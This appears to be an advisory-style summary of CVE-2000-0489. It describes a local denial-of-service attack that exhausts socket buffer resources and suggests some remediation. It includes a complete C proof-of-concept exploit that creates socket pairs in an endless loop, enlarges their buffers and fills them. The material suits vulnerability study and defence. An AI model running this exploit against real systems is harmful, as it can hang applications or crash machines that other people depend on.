CVE-2000-0489

An attacker can exploit this vulnerability by creating a large number of socket pairs using the socketpair function. They then set a large buffer size for both send and receive buffers on these sockets using setsockopt. Finally, the attacker writes large buffers to these sockets, triggering the denial of service condition [ref_id=1]. This can cause network applications to stop responding or the system to panic [ref_id=1].

The vulnerability is related to the use of the socketpair function in conjunction with setsockopt to configure SO_RCVBUF and SO_SNDBUF, followed by write operations. The provided exploit code demonstrates this by repeatedly calling socketpair, setting buffer sizes to BUFFERSIZE (204800), and then writing to the sockets [ref_id=1].

The advisory does not provide details on a specific patch or fix. It indicates that the vulnerability is related to setting socket options for buffer sizes and performing writes of corresponding sizes. Remediation guidance would typically involve validating buffer sizes passed to setsockopt or limiting the number of socket pairs that can be created to prevent resource exhaustion.

#include <unistd.h> #include <sys/socket.h> #include <fcntl.h>

#define BUFFERSIZE 204800

extern int main(void) { int p[2], i; char crap[BUFFERSIZE];

while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); }